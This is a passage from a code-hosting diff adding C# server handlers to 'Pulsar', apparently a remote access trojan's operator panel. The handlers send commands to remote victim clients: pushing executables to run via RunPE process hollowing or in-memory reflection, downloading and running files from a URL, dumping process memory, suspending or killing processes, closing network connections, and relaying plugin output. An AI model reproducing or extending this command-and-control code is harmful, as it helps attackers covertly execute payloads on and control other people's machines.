// FrmMain.Instance.SetToolTipText(client, builder.ToString());
|
||||
//}
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,172 @@
|
||||
using System;
|
||||
using System.IO;
|
||||
using System.Threading;
|
||||
using System.Windows.Forms;
|
||||
using Pulsar.Common.Enums;
|
||||
using Pulsar.Common.Messages;
|
||||
using Pulsar.Common.Messages.Administration.TaskManager;
|
||||
using Pulsar.Common.Messages.Other;
|
||||
using Pulsar.Common.Models;
|
||||
using Pulsar.Common.Networking;
|
||||
using Pulsar.Server.Networking;
|
||||
|
||||
namespace Pulsar.Server.Messages
|
||||
{
|
||||
/// <summary>
|
||||
/// Handles messages for interacting with remote tasks.
|
||||
/// </summary>
|
||||
public class TaskManagerHandler : MessageProcessorBase<Process[]>, IDisposable
|
||||
{
|
||||
public delegate void ProcessActionPerformedEventHandler(object sender, ProcessAction action, bool result);
|
||||
public event ProcessActionPerformedEventHandler ProcessActionPerformed;
|
||||
|
||||
public delegate void OnResponseReceivedEventHandler(object sender, DoProcessDumpResponse response);
|
||||
public event OnResponseReceivedEventHandler OnResponseReceived;
|
||||
|
||||
private readonly Client _client;
|
||||
public GetProcessesResponse LastProcessesResponse { get; private set; }
|
||||
|
||||
public TaskManagerHandler(Client client) : base(true)
|
||||
{
|
||||
_client = client ?? throw new ArgumentNullException(nameof(client));
|
||||
}
|
||||
|
||||
public override bool CanExecute(IMessage message) => message is DoProcessResponse
|
||||
|| message is GetProcessesResponse
|
||||
|| message is DoProcessDumpResponse;
|
||||
|
||||
public override bool CanExecuteFrom(ISender sender) => _client.Equals(sender);
|
||||
|
||||
public override void Execute(ISender sender, IMessage message)
|
||||
{
|
||||
switch (message)
|
||||
{
|
||||
case DoProcessResponse resp: Execute(sender, resp); break;
|
||||
case GetProcessesResponse resp: Execute(sender, resp); break;
|
||||
case DoProcessDumpResponse resp: Execute(sender, resp); break;
|
||||
}
|
||||
}
|
||||
|
||||
private void Execute(ISender client, DoProcessResponse message)
|
||||
{
|
||||
SynchronizationContext.Post(_ => ProcessActionPerformed?.Invoke(this, message.Action, message.Result), null);
|
||||
}
|
||||
|
||||
private void Execute(ISender client, GetProcessesResponse message)
|
||||
{
|
||||
LastProcessesResponse = message;
|
||||
OnReport(message.Processes);
|
||||
}
|
||||
|
||||
private void Execute(ISender client, DoProcessDumpResponse message)
|
||||
{
|
||||
OnResponseReceived?.Invoke(this, message);
|
||||
}
|
||||
|
||||
#region Remote Process Operations
|
||||
|
||||
public void StartProcess(string remotePath, bool isUpdate = false, bool executeInMemory = false, bool useRunPE = false, string runPETarget = "a", string runPECustomPath = null)
|
||||
{
|
||||
if (!File.Exists(remotePath))
|
||||
{
|
||||
MessageBox.Show($"File not found: {remotePath}", "Error", MessageBoxButtons.OK, MessageBoxIcon.Error);
|
||||
return;
|
||||
}
|
||||
|
||||
byte[] fileBytes = File.ReadAllBytes(remotePath);
|
||||
string ext = Path.GetExtension(remotePath);
|
||||
|
||||
if ((executeInMemory || useRunPE) && !string.Equals(ext, ".exe", StringComparison.OrdinalIgnoreCase))
|
||||
{
|
||||
MessageBox.Show("Only .exe files are allowed for RunPE or reflection execution.", "Invalid File Type",
|
||||
MessageBoxButtons.OK, MessageBoxIcon.Error);
|
||||
return;
|
||||
}
|
||||
|
||||
_client.Send(new DoProcessStart
|
||||
{
|
||||
FileBytes = fileBytes,
|
||||
IsUpdate = isUpdate,
|
||||
ExecuteInMemoryDotNet = executeInMemory,
|
||||
UseRunPE = useRunPE,
|
||||
RunPETarget = runPETarget,
|
||||
RunPECustomPath = runPECustomPath,
|
||||
FileExtension = ext
|
||||
});
|
||||
}
|
||||
|
||||
public void StartProcessFromWeb(string url, bool isUpdate = false, bool executeInMemory = false, bool _useRunPE = false)
|
||||
{
|
||||
if (string.IsNullOrWhiteSpace(url))
|
||||
{
|
||||
MessageBox.Show("URL cannot be empty.", "Invalid URL", MessageBoxButtons.OK, MessageBoxIcon.Error);
|
||||
return;
|
||||
}
|
||||
|
||||
_client.Send(new DoProcessStart
|
||||
{
|
||||
DownloadUrl = url,
|
||||
IsUpdate = isUpdate,
|
||||
ExecuteInMemoryDotNet = false,
|
||||
UseRunPE = false
|
||||
});
|
||||
}
|
||||
|
||||
public void SetTopMost(int pid, bool enable = true)
|
||||
{
|
||||
_client.Send(new DoSetTopMost { Pid = pid, Enable = enable });
|
||||
}
|
||||
|
||||
public void SetWindowState(int pid, bool minimize)
|
||||
{
|
||||
_client.Send(new DoSetWindowState
|
||||
{
|
||||
Pid = pid,
|
||||
Minimize = minimize
|
||||
});
|
||||
}
|
||||
|
||||
public void RefreshProcesses()
|
||||
{
|
||||
_client.Send(new GetProcesses());
|
||||
}
|
||||
|
||||
public void EndProcess(int pid)
|
||||
{
|
||||
_client.Send(new DoProcessEnd { Pid = pid });
|
||||
}
|
||||
|
||||
public void DumpProcess(int pid)
|
||||
{
|
||||
_client.Send(new DoProcessDump { Pid = pid });
|
||||
}
|
||||
|
||||
public void SuspendProcess(int pid, bool suspend)
|
||||
{
|
||||
var message = new DoSuspendProcess { Pid = pid, Suspend = suspend };
|
||||
_client.Send(message);
|
||||
}
|
||||
|
||||
|
||||
#endregion
|
||||
|
||||
#region IDisposable
|
||||
|
||||
public void Dispose()
|
||||
{
|
||||
Dispose(true);
|
||||
GC.SuppressFinalize(this);
|
||||
}
|
||||
|
||||
protected virtual void Dispose(bool disposing)
|
||||
{
|
||||
if (!disposing) return;
|
||||
|
||||
ProcessActionPerformed = null;
|
||||
OnResponseReceived = null;
|
||||
LastProcessesResponse = null;
|
||||
}
|
||||
|
||||
#endregion
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,78 @@
|
||||
using Pulsar.Common.Messages;
|
||||
using Pulsar.Common.Messages.Administration.TCPConnections;
|
||||
using Pulsar.Common.Messages.Other;
|
||||
using Pulsar.Common.Models;
|
||||
using Pulsar.Common.Networking;
|
||||
using Pulsar.Server.Networking;
|
||||
|
||||
namespace Pulsar.Server.Messages
|
||||
{
|
||||
/// <summary>
|
||||
/// Handles messages for the interaction with remote TCP connections.
|
||||
/// </summary>
|
||||
public class TcpConnectionsHandler : MessageProcessorBase<TcpConnection[]>
|
||||
{
|
||||
/// <summary>
|
||||
/// The client which is associated with this tcp connections handler.
|
||||
/// </summary>
|
||||
private readonly Client _client;
|
||||
|
||||
/// <summary>
|
||||
/// Initializes a new instance of the <see cref="TcpConnectionsHandler"/> class using the given client.
|
||||
/// </summary>
|
||||
/// <param name="client">The associated client.</param>
|
||||
public TcpConnectionsHandler(Client client) : base(true)
|
||||
{
|
||||
_client = client;
|
||||
}
|
||||
|
||||
/// <inheritdoc />
|
||||
public override bool CanExecute(IMessage message) => message is GetConnectionsResponse;
|
||||
|
||||
/// <inheritdoc />
|
||||
public override bool CanExecuteFrom(ISender sender) => _client.Equals(sender);
|
||||
|
||||
/// <inheritdoc />
|
||||
public override void Execute(ISender sender, IMessage message)
|
||||
{
|
||||
switch (message)
|
||||
{
|
||||
case GetConnectionsResponse con:
|
||||
Execute(sender, con);
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Refreshes the current TCP connections.
|
||||
/// </summary>
|
||||
public void RefreshTcpConnections()
|
||||
{
|
||||
_client.Send(new GetConnections());
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Closes a TCP connection of the client.
|
||||
/// </summary>
|
||||
/// <param name="localAddress">Local address.</param>
|
||||
/// <param name="localPort">Local port.</param>
|
||||
/// <param name="remoteAddress">Remote address.</param>
|
||||
/// <param name="remotePort">Remote port.</param>
|
||||
public void CloseTcpConnection(string localAddress, ushort localPort, string remoteAddress, ushort remotePort)
|
||||
{
|
||||
// a unique tcp connection is determined by local address + port and remote address + port
|
||||
_client.Send(new DoCloseConnection
|
||||
{
|
||||
LocalAddress = localAddress,
|
||||
LocalPort = localPort,
|
||||
RemoteAddress = remoteAddress,
|
||||
RemotePort = remotePort
|
||||
});
|
||||
}
|
||||
|
||||
private void Execute(ISender client, GetConnectionsResponse message)
|
||||
{
|
||||
OnReport(message.Connections);
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,113 @@
|
||||
using System;
|
||||
using System.Collections.Concurrent;
|
||||
using System.Collections.Generic;
|
||||
using System.Text;
|
||||
using Pulsar.Common.Messages;
|
||||
using Pulsar.Common.Messages.Other;
|
||||
using Pulsar.Common.Networking;
|
||||
using Pulsar.Server.Networking;
|
||||
|
||||
namespace Pulsar.Server.Messages
|
||||
{
|
||||
public sealed class UniversalPluginResponseHandler : IMessageProcessor
|
||||
{
|
||||
private static readonly ConcurrentDictionary<string, Action<PluginResponse>> _callbacks = new ConcurrentDictionary<string, Action<PluginResponse>>();
|
||||
private static readonly ConcurrentDictionary<string, List<Action<PluginResponse>>> _typeHandlers = new ConcurrentDictionary<string, List<Action<PluginResponse>>>();
|
||||
|
||||
public static event Action<PluginResponse> ResponseReceived;
|
||||
|
||||
public bool CanExecute(IMessage message) => message is DoUniversalPluginResponse;
|
||||
public bool CanExecuteFrom(ISender sender) => true;
|
||||
|
||||
public void Execute(ISender sender, IMessage message)
|
||||
{
|
||||
if (!(message is DoUniversalPluginResponse response) || !(sender is Client client)) return;
|
||||
|
||||
var result = new PluginResponse
|
||||
{
|
||||
Client = client,
|
||||
PluginId = response.PluginId,
|
||||
Command = response.Command,
|
||||
Success = response.Success,
|
||||
Message = response.Message,
|
||||
Data = response.Data,
|
||||
ShouldUnload = response.ShouldUnload,
|
||||
NextCommand = response.NextCommand
|
||||
};
|
||||
|
||||
ResponseReceived?.Invoke(result);
|
||||
|
||||
if (_callbacks.TryRemove(response.PluginId, out var callback))
|
||||
{
|
||||
try { callback(result); } catch { }
|
||||
}
|
||||
|
||||
var pluginType = GetPluginType(response.PluginId);
|
||||
if (!string.IsNullOrEmpty(pluginType) && _typeHandlers.TryGetValue(pluginType, out var handlers))
|
||||
{
|
||||
foreach (var handler in handlers)
|
||||
{
|
||||
try { handler(result); } catch { }
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
private string GetPluginType(string pluginId)
|
||||
{
|
||||
if (string.IsNullOrEmpty(pluginId)) return null;
|
||||
var idx = pluginId.IndexOf('_');
|
||||
return idx > 0 ? pluginId.Substring(0, idx) : null;
|
||||
}
|
||||
|
||||
public static void Register(string pluginId, Action<PluginResponse> callback)
|
||||
{
|
||||
if (string.IsNullOrEmpty(pluginId) || callback == null) return;
|
||||
_callbacks[pluginId] = callback;
|
||||
}
|
||||
|
||||
public static void RegisterType(string pluginType, Action<PluginResponse> callback)
|
||||
{
|
||||
if (string.IsNullOrEmpty(pluginType) || callback == null) return;
|
||||
_typeHandlers.AddOrUpdate(pluginType,
|
||||
new List<Action<PluginResponse>> { callback },
|
||||
(k, v) => { v.Add(callback); return v; });
|
||||
}
|
||||
|
||||
public static void Unregister(string pluginId)
|
||||
{
|
||||
_callbacks.TryRemove(pluginId, out _);
|
||||
}
|
||||
|
||||
public static void UnregisterType(string pluginType, Action<PluginResponse> callback)
|
||||
{
|
||||
if (_typeHandlers.TryGetValue(pluginType, out var handlers))
|
||||
{
|
||||
handlers.Remove(callback);
|
||||
if (handlers.Count == 0) _typeHandlers.TryRemove(pluginType, out _);
|
||||
}
|
||||
}
|
||||
|
||||
public static void Clear()
|
||||
{
|
||||
_callbacks.Clear();
|
||||
_typeHandlers.Clear();
|
||||
}
|
||||
}
|
||||
|
||||
public class PluginResponse
|
||||
{
|
||||
public Client Client { get; set; }
|
||||
public string PluginId { get; set; }
|
||||
public string Command { get; set; }
|
||||
public bool Success { get; set; }
|
||||
public string Message { get; set; }
|
||||
public byte[] Data { get; set; }
|
||||
public bool ShouldUnload { get; set; }
|
||||
public string NextCommand { get; set; }
|
||||
|
||||
public string GetText()
|
||||
{
|
||||
return Data != null ? Encoding.UTF8.GetString(Data) : string.Empty;
|
||||
}
|
||||
}
|
||||
}
|
||||
Reference in New Issue
Block a user